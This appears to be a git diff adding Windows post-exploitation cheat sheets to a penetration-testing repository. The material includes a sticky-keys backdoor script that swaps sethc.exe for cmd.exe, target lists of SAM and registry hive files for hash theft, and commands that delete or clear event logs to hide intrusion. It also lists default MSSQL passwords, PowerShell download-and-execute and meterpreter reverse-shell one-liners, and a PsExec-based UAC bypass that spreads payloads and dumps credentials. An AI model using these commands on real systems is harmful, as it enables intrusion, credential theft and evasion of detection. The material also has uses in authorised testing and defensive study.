|<code>Replacing file as: sethc.exe<br>@echo off <br>c: > nul\\cd\ > nul\\cd %SYSTEMROOT%\System32\ > nul <br>if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul <br>cmd %SYSTEMROOT%\System32\cmdsys\ > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul <br>copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul <br>copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul <br>copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul<br>exit</code> | By doing this, you just have to press the sticky key activation key. From Wikipedia.org: To enable this shortcut, the ?Shift key must be pressed 5 times in short succession. This feature can also be turned on and off via the Accessibility icon in the Windows Control Panel. To turn off once enabled, just simply press 3 or more of the Sticky Keys (Ctrl, Alt, Shift, Windows Button) at the same time. |

14
windows/blind.md Normal file
View File

@ -0,0 +1,14 @@
# Windows Blind Files
In some cases during exploitation you as an attacker gain the ability to read arbitrary files. As an attacker you need go-to files that cover as many different OS versions as possible in order to either confirm exploitation or gather intelligence on the exploited system. For this we use a "blind file".
The files below are things to pull when all you can do is to blindly read. Examples of vulnerabilities or situations where this would be helpful might be: local file includes (LFI), directory traversals or remote file share instances like SMB, FTP, NFS or otherwise. Files that will have the same name across networks, Windows domains, and systems are noted below.
| File | Description / Importance |
| -------- | ------------------------ |
| `%SYSTEMDRIVE%\boot.ini` | A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. **WARNING - in more recent versions of Windows this file in no longer there.** |
| `%WINDIR%\win.ini` | This is another file that can be counted on to be readable by all users of a system. |
| `%SYSTEMROOT%\repair\SAM`<br>`%SYSTEMROOT%\System32\config\RegBack\SAM` | Stores user passwords in either an [LM hash](https://en.wikipedia.org/wiki/LM_hash) and/or an [NTLM hash](https://en.wikipedia.org/wiki/NTLM) format. The SAM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). |
| `%SYSTEMROOT%\repair\system`<br>`%SYSTEMROOT%\System32\config\RegBack\system` | This is the SYSTEM registry hive. This file is needed to extract the user account password hashes from a Windows system. The SYSTEM file in \repair is locked, but can be retrieved using forensic or [Volume Shadow copy methods](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html). |
| `%SYSTEMDRIVE%\autoexec.bat` | autoexec.bat is a startup script that executes at startup. As [Webopedia states](http://www.webopedia.com/TERM/A/autoexec_bat.html), “Stands for automatically executed batch file, the file that DOS automatically executes when a computer boots up. This is a convenient place to put commands you always want to execute at the beginning of a computing session. For example, you can set system parameters such as the date and time, and install memory-resident programs.” |

8
windows/cmd.md Normal file
View File

@ -0,0 +1,8 @@
# Windows CMD Commands
Command that can be executed from the context of the CMD.exe prompt.
* [Config Commands](windows_cmd_config.md) - Commands that display information about the configuration of the victim.
* [Network Commands](windows_cmd_network.md) - Commands used for gathering information about the network settings and connections of a system.
* [Remote Acccess Commands](windows_cmd_remote.md) - Commands to remotely administer systems.

74
windows/cover.md Executable file
View File

@ -0,0 +1,74 @@
<!-- Code for collapse and expand -->
<script type="text/javascript">
$(document).ready(function() {
$('div.view').hide();
$('div.slide').click(function() {
$(this).next('div.view').slideToggle('fast');
return false;
});
});
</script>
# Windows Covering Tracks Commands
Commands to run to clean up a system after you have exploited it and to reduce a target's ability to discover what you did while on their system and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
## del
### Delete Logs
* **Command with arguments**: `del %WINDIR%\*.log /a /s /q /f`
* **Description**: **MUST be run as an administrator**. Deletes all *.log files from the %WINDIR% directory.
* **Output**:
* NA
----
## wevtutil
### List Logs
* **Command with arguments**: `wevutil el`
* **Description**: Lists the different log files the system is keeping. More information can be found http://technet.microsoft.com/en-us/library/cc732848(WS.10).aspx
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>wevtutil el
Application
DFS Replication
Directory Service
DNS Server
File Replication Service
HardwareEvents
Internet Explorer
Key Management Service
Security
System
ThinPrint Diagnostics
EndpointMapper
ForwardedEvents
Microsoft-Windows-ADSI/Debug
Microsoft-Windows-Bits-Client/Analytic
Microsoft-Windows-Bits-Client/Operational
Microsoft-Windows-CAPI2/Operational
Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational
Microsoft-Windows-CodeIntegrity/Operational
Microsoft-Windows-CodeIntegrity/Verbose
Microsoft-Windows-COM/Analytic
Microsoft-Windows-CorruptedFileRecovery-Client/Operational
Microsoft-Windows-CorruptedFileRecovery-Server/Operational
Microsoft-Windows-CredUI/Diagnostic
Microsoft-Windows-DateTimeControlPanel/Analytic
Microsoft-Windows-DateTimeControlPanel/Debug
Microsoft-Windows-DateTimeControlPanel/Operational
Microsoft-Windows-DCLocator/Debug
Microsoft-Windows-Diagnosis-DPS/Analytic
Microsoft-Windows-Diagnosis-DPS/Debug
Microsoft-Windows-Diagnosis-DPS/Operational
Microsoft-Windows-Diagnosis-MSDT/Debug
Microsoft-Windows-Diagnosis-MSDT/Operational
Microsoft-Windows-Diagnosis-PLA/Debug
Microsoft-Windows-Diagnosis-PLA/Operational
Microsoft-Windows-Diagnosis-WDI/Debug
Microsoft-Windows-Diagnostics-Networking/Debug
[...snip...]</code></div>
### Clear Logs
* **Command with arguments**: `wevtutil cl [LOGNAME]`
* **Description**: **MUST be run as an administrator**. Clears the contents of a specific log.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>c:\temp>wevtutil cl Microsoft-Windows-EventLog/Debug</code></div>

21
windows/files.md Normal file
View File

@ -0,0 +1,21 @@
# Windows Important Files
Files that can yield passwords or other intel about the system, network or users.
| File | Description / Importance |
| -------- | ------------------------ |
| `%SYSTEMDRIVE%\pagefile.sys` | This file is used by the operating system when there is not enough RAM (memory) in the system. It is a large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size. |
| `%SYSTEMROOT%\repair\SAM` <br> `%SYSTEMROOT%\System32\config\RegBack\SAM` | These files store the LM and NTLM hashes for local users. Using [Volume Shadow Copy](http://www.room362.com/blog/2013/6/10/volume-shadow-copy-ntdsdit-domain-hashes-remotely-part1.html) or [Ninja Copy](http://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/) you can retrieve these files. |
| `%SystemDrive%\inetpub\logs\LogFiles` | IIS 7.x web server log file location. |
| `%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat` | Internet Explorer web browser history file (http://support.microsoft.com/kb/322916) |
| `%USERPROFILE%\ntuser.dat` | User-level Windows registry settings (http://technet.microsoft.com/en-us/library/cc758618(v=WS.10).aspx) |
| `%WINDIR%\System32\drivers\etc\hosts` | System hosts file for local translation of host names to IP addresses. |
| `%WINDIR%\debug\NetSetup.log` | Shows issues when computers are joined to a domain. http://technet.microsoft.com/en-us/library/cc961817.aspx |
| `%WINDIR%\iis[version].log` where [version] = 6, 7, or 8 | Internet Information Service (IIS web server) log files. |
| `%WINDIR%\repair\sam`<br>`%WINDIR%\repair\system`<br>`%WINDIR%\repair\software`<br>`%WINDIR%\repair\security` | System registry hives. https://en.wikipedia.org/wiki/Windows_Registry |
| `%WINDIR%\system32\CCM\logs\*.log` | Windows SCCM (System Center Configuration Manager) log files (http://technet.microsoft.com/en-us/library/bb892800.aspx) |
| `%WINDIR%\system32\config\AppEvent.Evt`<br>`%WINDIR%\system32\config\SecEvent.Evt` | Windows Event Logs. |
| `%WINDIR%\system32\config\default.sav`<br>`%WINDIR%\system32\config\security.sav`<br>`%WINDIR%\system32\config\software.sav`<br>`%WINDIR%\system32\config\system.sav` | Backup Windows registry files (http://forensics.wikia.com/wiki/Windows_registry_entries) |
| `%WINDIR%\system32\logfiles\httperr\httperr1.log` | IIS 6.x web server error logs. |
| `%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log` where YYMMDD = year month day | Web server log files. |
| `unattend.txt, unattend.xml, sysprep.inf` | Used in the automated deployment of Windows images and can contain user accounts. |

42
windows/find_files.md Executable file
View File

@ -0,0 +1,42 @@
<!-- Code for collapse and expand -->
<script type="text/javascript">
$(document).ready(function() {
$('div.view').hide();
$('div.slide').click(function() {
$(this).next('div.view').slideToggle('fast');
return false;
});
});
</script>
# Windows Finding File Commands
Commands that find files on the filesystem and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
## dir
### Attributes Showing
* **Command with arguments**: `dir /a`
* **Description**: Displays files with specified attributes. Examples: D=Directories, R=Read-only files, H=Hidden files, A=Files ready for archiving, S=System files
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>dir /a c:\<br> Volume in drive C has no label. Volume Serial Number is 1A09-5F16<br><br> Directory of c:\<br><br>01/19/2008 03:45 AM <DIR> $Recycle.Bin<br>09/18/2006 04:43 PM 24 autoexec.bat<br>10/08/2013 10:27 PM <DIR> Boot<br>04/11/2009 08:00 AM 333,257 bootmgr<br>10/08/2013 10:27 PM 8,192 BOOTSECT.BAK<br>09/18/2006 04:43 PM 10 config.sys<br>01/19/2008 06:47 AM <JUNCTION> Documents and Settings [C:\Users]<br>10/23/2013 07:39 PM 2,460,454,912 pagefile.sys<br>01/19/2008 04:40 AM <DIR> PerfLogs<br>10/08/2013 06:36 PM <DIR> Program Files<br>10/08/2013 06:36 PM <DIR> <br>10/10/2013 07:59 PM <DIR> Users<br>10/23/2013 07:38 PM <DIR> Windows<br> 5 File(s) 2,460,796,395 bytes<br> 10 Dir(s) 33,311,416,320 bytes free</code></div>
### Recursive
* **Command with arguments**: `dir /b /s [directory or filename]`
* **Description**: Displays files recursively (all subdirectories). Good for post processing with find (example: `find /I “searchstring”`) or sending to another tool.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>dir /b /s c:\temp<br>c:\Users\Default\AppData\Local\Temp<br>c:\Users\johndoe\AppData\Local\Temp<br>c:\Windows\Temp<br>c:\Windows\assembly\temp<br>c:\Windows\assembly\NativeImages_v2.0.50727_32\Temp<br>c:\Windows\System32\DriverStore\Temp<br>c:\Windows\winsxs\Temp</code></div>
----
## find
* **Command with arguments**: `[somecommand] \| find /c /v ”[searchstring]”`
* **Description**: Counts the number of times the [searchstring] is found in the output of [somecommand].
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>dir /a /s c:\ |find /c /v "svchost"
99184</code></div>
----
## tree
* **Command with arguments**: `tree C:\ /f /a > C:\output_of_tree.txt`
* **Description**: Prints a directory listing in tree format. The `/a` makes the tree printed with ASCII characters instead of special ones and the `/f` displays file names as well as folders.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>tree C:\ /f /a<br>Folder PATH listing<br>Volume serial number is 1A09-5F16<br>C:\<br>| autoexec.bat<br>| config.sys<br>|<br>+---PerfLogs<br>+---Program Files<br>| +---Common Files<br>| | +---microsoft shared<br>| | | +---DAO<br>| | | | dao360.dll<br>| | | |<br>| | | +---ink<br>| | | | | penchs.dll<br>| | | | | pencht.dll<br>| | | | | penjpn.dll<br>| | | | | penkor.dll<br>| | | | | penusa.dll<br>| | | | | pipanel.dll<br>| | | | | pipanel.exe<br>| | | | | pipres.dll<br>| | | | | skchobj.dll<br>| | | | | skchui.dll<br>| | | | |<br>| | | | +---ar-SA<br>| | | | | tipresx.dll.mui<br>| | | | |<br>[...SNIP...]</code></div>

214
windows/mssql.md Normal file
View File

@ -0,0 +1,214 @@
# MSSQL Instance Defaults
MSSQL Defaults
----------
[Internet MSSQL Instances](references/internet_mssql.txt)
Common:
* sa/sa
* sa/\<blank\>
* sa/SQL
Default MSSQL Instance names: SQLEXPRESS, MSSQLSERVER
Instances
---------
- - - -
**Instance**: SALESLOGIX
**Software**: http://www.saleslogix.com/
* sa/SLXMaster
* sa/SLXMa$t3r
- - - -
**Instance**: CITADEL
**Software**: http://www.ni.com/labview/
* sa password is generated by "generateComputerId.exe" at install time. Available in their trail installer. Haven't been able to reverse engineer this into figuring out what variables result in the password, but it is the same when installed to the same machine twice.
- - - -
**Instance**: ACT7
**Software**: http://www.act.com/
* sa/sage
- - - -
**Instance**: BKUPEXEC
**Software**: http://www.symantec.com/products/data-backup-software
* sa/\<blank\>
- - - -
**Instance**: CSSQL05
**Software**: http://www.cambridgesoft.com/solutions/details/?fid=175
* ELNAdmin/ELNAdmin
* sa/CambridgeSoft_SA
- - - -
**Instance**: ESCANSQLSERVER
**Software**: http://www.escanav.com/english/
* SA Password can be found `HKLM\Software\Microworld\eScan for Windows\Webconsole`. I don't have a copy to be able to get the default
- - - -
**Instance**: COMMVAULT
**Software**: http://www.commvault.com/simpana-software
* Default username is many times: admin
* Password is set at install, but many people do single sign on with a local admin account on the box.
- - - -
**Instance**: INSERTGT
**Software**:
* Default Found: http://www.solutionoferror.com/java/sql-server-2008-r2-connection-error-android-254573.asp
* msi/keyboa5
* sa/\<blank\>
- - - -
**Instance**: VIDEOOSDB
**Software**: http://forum.milestonesys.com/yaf_topics54_XProtect-Essential.aspx
- - - -
**Instance**: IMPERVA
**Software**: http://www.imperva.com/products/wsc_web-application-firewall.html
* Default database username: secure
* Password if left as default is a 8 character starting with the word "secure", this is reset many times when techs fix the software as well. Default database type is Oracle.
- - - -
**Instance**: RTCLOCAL
**Software**: http://blog.insidelync.com/2011/04/the-lync-server-databases/
* sa/mypassword
* Reference: http://www.kaplansoft.com/tekivr/TekIVR-Lync.pdf
- - - -
**Instance**: SBSMONITORING
**Software**: Windows Small Business Server
* sa acount disabled by default
* Reference: http://social.technet.microsoft.com/Forums/en-US/a05d3bac-796e-4746-8c82-48da23d52549/what-is-the-default-password-for-sa-account-in-windows-sbs-2011-standard?forum=smallbusinessserver
- - - -
**Instance**: PCAMERICA
**Software**: PC America Restaurant Pro Express
* sa/PCAmerica
* Reference: http://www.fixya.com/support/t3995856-restaurant_pro_express_client
* sa/pcAmer1ca
* Reference: http://www.njsolutions.net/pcamerica-faqs/61-sql-server-manual-install
- - - -
**Instance**: VSDOTNET
**Software**: visual studio .net
* sa/\<blank\>
* Reference: http://ptijira.dyndns.org:8090/display/ClearDentKB/Login+failed+user+%27sa%27.+The+user+is+not+associated+with+a+trusted+SQL+Server+Connection
- - - -
**Instance**: ACT7
**Software**: Act7
* sa/randomized after install
* Refef: http://community.act.com/t5/Act-Premium/ACT-Premium-2008-sa-password/td-p/1710
forum mentions: "ActbySage1!" as a password
- - - -
**Instance**: HPDSS
**Software**: HP MFP Digital Sending Software
* sa/Hpdsdb000001
* sa/hpdss
* Reference: http://h20566.www2.hp.com/portal/site/hpsc/template.PAGE/public/kb/docDisplay/?sp4ts.oid=5076216&spf_p.tpst=kbDocDisplay&spf_p.prp_kbDocDisplay=wsrp-navigationalState%3DdocId%253Demr_na-c02712353-3%257CdocLocale%253D%257CcalledBy%253D&javax.portlet.begCacheTok=com.vignette.cachetoken&javax.portlet.endCacheTok=com.vignette.cachetoken
- - - -
**Instance**: MYMOVIES
**Software**: My Movies
* sa/t9AranuHA7
* Reference: http://www.mymovies.dk/forum.aspx?g=posts&t=24514
- - - -
**Instance**: CODEPAL / CODEAPL08
**Software**:
* sa/Cod3p@l
* Reference: http://codepalinspections.net/CPO%20Setup%20On%20Alien%20Servers.txt
- - - -
**Instance**: VSQL
**Software**:
* sa/111
* Reference: http://www.integraxor.com/forum/viewtopic.php?f=2&t=75&start=10
- - - -
**Instance**: EASYSHIP / DHLEASYSHIP
**Sofware**:
* sa/DHLadmin@1
* Reference: http://rayotter.com/dhl/HTA/Create_Shipper_and_Defaults.hta.txt
- - - -
**Instance**: SQLEXP_VIM
**Software**: http://www.vmware.com/products/vcenter-server/
* No default username/password. Usually Active Directory-based login.
- - - -
**Instance**: VEEAMSQL2008R2
**Software**: http://www.veeam.com/vm-backup-recovery-replication-software.html?ad=menu
* No default username/password. Usually Active Directory-based login.

3
windows/persistance.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

21
windows/powershell.md Normal file
View File

@ -0,0 +1,21 @@
# Windows Powershell Commands and Scripts for Post Exploitation
One liners
-----------
**Download and Execute Remote Powershell Script**
```iex (New-Object Net.WebClient).DownloadString("http://host/file.txt")```
**Download and Save File**
```(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe')```
**Enumerate Allowed Outbound Ports 1-1024**
```$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream();
$stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}}```
**Reverse Shell Using [PowerSploit's Invoke-Shellcode](https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)**
```Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force```

3
windows/privesc.md Normal file
View File

@ -0,0 +1,3 @@
# Place Holder
Content coming. Feel free to submit ;-)

111
windows/remote.md Normal file
View File

@ -0,0 +1,111 @@
<!-- Code for collapse and expand -->
<script type="text/javascript">
$(document).ready(function() {
$('div.view').hide();
$('div.slide').click(function() {
$(this).next('div.view').slideToggle('fast');
return false;
});
});
</script>
# Windows Remote Access Commands
Commands that move data and files between systems on a network and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
## Miscellaneous
### dir
* **Command with arguments**: `dir \\[computername|ip]\share`
* **Description**: **Must have token to the remote system.** See `net use` below to establish such a connection. Displays the contents of the remote computer's share.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>dir \\192.168.10.34\c$
Volume in drive \\192.168.10.34\c$ has no label.
Volume Serial Number is 1A09-5F16<br>
Directory of \\192.168.10.34\c$<br>
09/18/2006 05:43 PM 24 autoexec.bat
09/18/2006 05:43 PM 10 config.sys
01/19/2008 05:40 AM <DIR> PerfLogs
10/08/2013 07:36 PM <DIR> Program Files
10/23/2013 08:20 PM <DIR> temp
10/10/2013 08:59 PM <DIR> Users
10/23/2013 08:38 PM <DIR> Windows
2 File(s) 34 bytes
5 Dir(s) 33,316,192,256 bytes free</code></div>
### qprocess
* **Command with arguments**: `qprocess * [/SERVER:computername]`
* **Description**: Shows information about processes locally or remotely if you provide the computername or IP.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>qprocess * /SERVER:192.168.1.2
USERNAME SESSIONNAME ID PID IMAGE
(unknown) services 0 0
(unknown) services 0 4 system
(unknown) services 0 268 smss.exe
(unknown) services 0 356 csrss.exe
(unknown) services 0 408 wininit.exe
>(unknown) console 1 420 csrss.exe
>(unknown) console 1 460 winlogon.exe
(unknown) services 0 516 services.exe
>johndoe console 1 1584 dwm.exe
>johndoe console 1 1600 explorer.exe
(unknown) services 0 1708 vmtoolsd.exe
>johndoe console 1 1936 vmwaretray.exe
>johndoe console 1 1944 vmtoolsd.exe
(unknown) services 0 316 tpautoconnsv...
>johndoe console 1 1716 tpautoconnec...
>johndoe console 1 1680 conhost.exe
(unknown) services 0 1984 searchindexe...
(unknown) services 0 2076 msdtc.exe
(unknown) services 0 2844 svchost.exe
(unknown) services 0 2920 sppsvc.exe
(unknown) services 0 2976 svchost.exe
>johndoe console 1 3576 cmd.exe
>johndoe console 1 3540 conhost.exe
>johndoe console 1 2340 cmd.exe
>johndoe console 1 1560 conhost.exe
>johndoe console 1 3616 qprocess.exe</code></div>
### qwinsta
* **Command with arguments**: `qwinsta [/SERVER:computername]`
* **Description**: Shows information about Remote Desktop Sessions locally or remotely if you provide the computername or IP.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>qwinsta<br> SESSIONNAME USERNAME ID STATE TYPE DEVICE<br> services 0 Disc<br>>console johndoe 1 Active<br> rdp-tcp 65536 Listen</code></div>
### Remote Assistance Enable
* **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f`
* **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The operation completed successfully.</code></div>
### Remote Desktop Enable
* **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f`
* **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The operation completed successfully.</code></div>
### tasklist
* **Command with arguments**: `tasklist /v /s [computername|IP]`
* **Description**: Retrieve the current running processes from the remote system. [Microsoft manual](http://technet.microsoft.com/en-us/library/bb491010.aspx).
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Windows\system32>tasklist /V /S 192.168.10.34<br>Type the password for WIN-V32NJ7H3AQE\johndoe:************************<br><br><br>Image Name PID Session Name Session# Mem Usage User Name CPU Time<br>========================= ======== ================ =========== ============ ================================================== ============<br>System Idle Process 0 0 24 K N/A 4:01:47<br>System 4 0 2,244 K N/A 0:00:13<br>smss.exe 388 0 696 K NT AUTHORITY\SYSTEM 0:00:00<br>csrss.exe 452 0 4,992 K NT AUTHORITY\SYSTEM 0:00:01<br>csrss.exe 492 1 10,800 K NT AUTHORITY\SYSTEM 0:00:17<br>wininit.exe 500 0 3,740 K NT AUTHORITY\SYSTEM 0:00:00<br>winlogon.exe 532 1 4,244 K NT AUTHORITY\SYSTEM 0:00:00<br>services.exe 580 0 7,308 K NT AUTHORITY\SYSTEM 0:00:03<br>lsass.exe 592 0 36,968 K NT AUTHORITY\SYSTEM 0:00:06<br>lsm.exe 600 0 5,128 K NT AUTHORITY\SYSTEM 0:00:00<br>svchost.exe 840 0 6,576 K NT AUTHORITY\SYSTEM 0:00:02<br>svchost.exe 908 0 6,652 K NT AUTHORITY\NETWORK SERVICE 0:00:00<br>svchost.exe 984 0 7,976 K NT AUTHORITY\LOCAL SERVICE 0:00:02<br>svchost.exe 1036 0 7,992 K NT AUTHORITY\SYSTEM 0:00:00<br>svchost.exe 1056 0 26,740 K NT AUTHORITY\SYSTEM 0:00:08<br>SLsvc.exe 1072 0 11,280 K NT AUTHORITY\NETWORK SERVICE 0:00:12<br>svchost.exe 1124 0 9,720 K NT AUTHORITY\LOCAL SERVICE 0:00:01<br>svchost.exe 1184 0 8,888 K NT AUTHORITY\SYSTEM 0:00:01<br>svchost.exe 1208 0 15,332 K NT AUTHORITY\NETWORK SERVICE 0:00:01<br>svchost.exe 1368 0 10,140 K NT AUTHORITY\LOCAL SERVICE 0:00:00<br>taskeng.exe 1572 0 7,024 K NT AUTHORITY\SYSTEM 0:00:00<br>spoolsv.exe 1680 0 9,892 K NT AUTHORITY\SYSTEM 0:00:00<br>dfsrs.exe 1732 0 8,608 K NT AUTHORITY\SYSTEM 0:00:00<br>dns.exe 1756 0 39,456 K NT AUTHORITY\SYSTEM 0:00:00</code></div>
----
## net
### net time
* **Command with arguments**: `net time \\[computername|ip]`
* **Description**: Display the time from the remote system.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>net time \\192.168.10.34
Current time at \\192.168.10.34 is 10/23/2013 9:03:04 PM<br>
The command completed successfully.</code></div>
### net use
* **Command with arguments**: `net use \\[computername|ip] [/user:DOMAIN\USERNAME] [password] `
* **Description**: Create a connection to the remote computer. This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. If the user you launch the command as is not valid on the remote system you will need to specify a valid DOMAIN\USER and PASSWORD. This is useful when you have credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide</div><div class="view"><code>C:\Users\johndoe>net use \\192.168.10.34 /user:lab\johndoe
The password or user name is invalid for \\192.168.10.34.<br>
Enter the password for 'lab\johndoe' to connect to '192.168.10.34':
The command completed successfully.</code></div>

61
windows/uac.md Normal file
View File

@ -0,0 +1,61 @@
# UAC Bypassing
### PsExec.exe method
For this example, lets just assume that you have gotten a meterpreter shell on a box. For the purposes of this demonstration, this box will be called Box0. Box0 is not a very kind soul though, and as thus although you have an admin shell on it, the UAC is preventing you from dumping the hashes of the system. You would like to upgrade this shell, but alas, the box is running Windows Vista with UAC, which is getting in the way of you escalating your privileges. Furthermore, the box appears to be patched and up to date, so you can't take advantage of any local OS or application exploits to gain privileges. So what can we do?
For starters we can turn to PsExec. PsExec will allow us to run commands against a remote machine, and comes with a handly little option, -h.
```
-h If the target system is Vista or higher, has the process
run with the account's elevated token, if available.
```
Seems handy for what were planning to do. Before we dive in though, I want to quickly note that the way UAC works for an admin user is that there is a normal token that is used for everyday activities and then there is a elevated privileges token that is used for special activities. This is why although we can't dump the hashes just yet, we have the normal admin token, but not the elevated one we need. Keep in mind that various boxes thoughtout the network may have either of these tokens, but only the elevated one will grant the privileges that we want, allowing us to do hash dumping and other fun stuff :)
Continuing on, the first step that we want to do is upload a copy of PsExec.exe and an encoded copy of a malicious meterepreter exe (see the Veil project for details on how to do this) up to the server. To do this, we could do:
```
upload *path to meterpreter exe* \\users\\*target user here*\\metpr.exe
upload *path to PsExec.exe* \\users\\*target user here*\\PsExec.exe
```
The next step to do is to gather a list of target IP addresses that you would like to try using your exploited user's authentication credentials against. Once you have done this, save it to a file (targets.txt in our example) and upload it to Box0.
```
upload *path to targets.txt* \\users\\*target user here*\\targets.txt
```
We then can run PsExec.exe as follows:
```
PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe
```
I'll breifly explain the options. "-accepteula" sets the appropriate flag in the registry to make sure that the EULA agreement notification does not randomly pop up on the exploited user's machine. "-c" makes sure that we copy our meterpreter exe (metpr.exe) across to any system where the credentials work, whilst "-f" makes sure we overwrite the file if it already exists. "-h" is the important option here, which will run the meterpreter payload on any machine where the credentials works with the elevated token if the account on that machine has a elevated token attached to it (see PsExec output above). Finally, "-d" will make sure we don't wait for termination (run in background).
Now provided this command runs and we end up uploading and executing the meterpreter payload on a target in our targets.txt file that has admin rights, 2 things will happen. First off, we will not need to worry about credentials as if the user we are authenticating to on the remote machine is an admin (aka the user we compromised is admin on the remote machine), then the credentials for our compromized user will automatically be passed on to the remote machine, thus giving us access to the admin user on that machine without us needing to know the password. Secondly, if the user that we compromised is an admin on this machine, when the meterpreter exe executes, it will bypass the UAC, running instead as the priviledged admin user (it will use the elevated privileges token tied to that account). At this point, we now have a elevated shell on the second box, which we shall call Box1 for the rest of this document (this is after we do a getsystem on Box1 to elevate our privileges (which we can now do as we have the elevated privileges token we didn't have before)).
We do have a slight problem though. Due to something called the double hop issue (http://support.microsoft.com/default.aspx?scid=kb;en-us;329986) we can't actually use the elevated privileges on Box1 to pass on the elevated privileges to Box0. This is because you can't pass resources more than 1 hop. In our example the first hop is from Box0 to Box1, and the second hop is Box1 to Box0. If we were to try doing this, we would end up trying to authenticate as the NTAUTHORITY\ANONYMOUS user as we would only have the secondary token to Box0, not the primary one (elevated privileges) that we need. The only way we could get around this is if we knew the password for the client on Box0, at which point we could then elevate privileges to the required level. To solve this problem we can use PsLoggedon.exe.
- - - - - -
### PsLoggedon.exe
- - - - - -
We now need to find another host where our user is running with a primary token so that we can escalate privileges on Box0. To do this, we will use PsLoggedon.exe from same PsTools suite that PsExec.exe comes from. Taking the targets.txt file that we created, here is the command to pass through the credentials of our currently compromized user and find out where else he/she is logged in:
```
for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "*compromized user's name goes here*" >NUL && echo %i
```
This will list all of the boxes where our user is logged into. We can then target this box with the PsExec.exe method we used in the last example. Once we have a shell on the new host from that, we can then dump the credentials with Mimikatz if we want. This box will also have a primary key that we can then use to elevate our shell on Box0, thereby bypassing UAC.
- - - - - -
### Credits
All credits for the examples and explanation comes from Tim Medin's post which you can find here: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
The examples are all his work and I take no ownership for them. This article is mearly a rewording of what he has written in my own (tekwizz123's) words.

254
windows/windows_cmd_config.md Executable file
View File

@ -0,0 +1,254 @@
<!-- Code for collapse and expand -->
<script type="text/javascript">
$(document).ready(function() {
$('div.view').hide();
$('div.slide').click(function() {
$(this).next('div.view').slideToggle('fast');
return false;
});
});
</script>
# Windows CMD Config Commands
Commands that display information about the configuration of the victim and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
## Misc
